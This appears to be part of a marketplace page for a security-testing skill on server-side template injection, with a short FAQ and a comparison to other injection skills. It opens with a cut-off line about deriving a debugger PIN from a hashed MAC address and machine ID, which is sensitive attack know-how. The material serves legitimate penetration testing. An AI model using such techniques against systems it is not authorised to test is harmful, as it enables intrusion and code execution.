Combine: md5(mac + machine_id) → first 9 digits = PINRelated skills
How it compares
Choose ssti-server-side-template-injection over generic injection skills when the attack surface is server-side template rendering rather than SQL or command injection.
FAQ
Who is ssti-server-side-template-injection for?
Security engineers testing server-side template rendering, previews, and CMS template eval sinks.
When should I use ssti-server-side-template-injection?
When template expressions or server-side rendering may evaluate attacker-controlled content.
Is ssti-server-side-template-injection safe to install?
Review the Security Audits panel on this page before installing in production.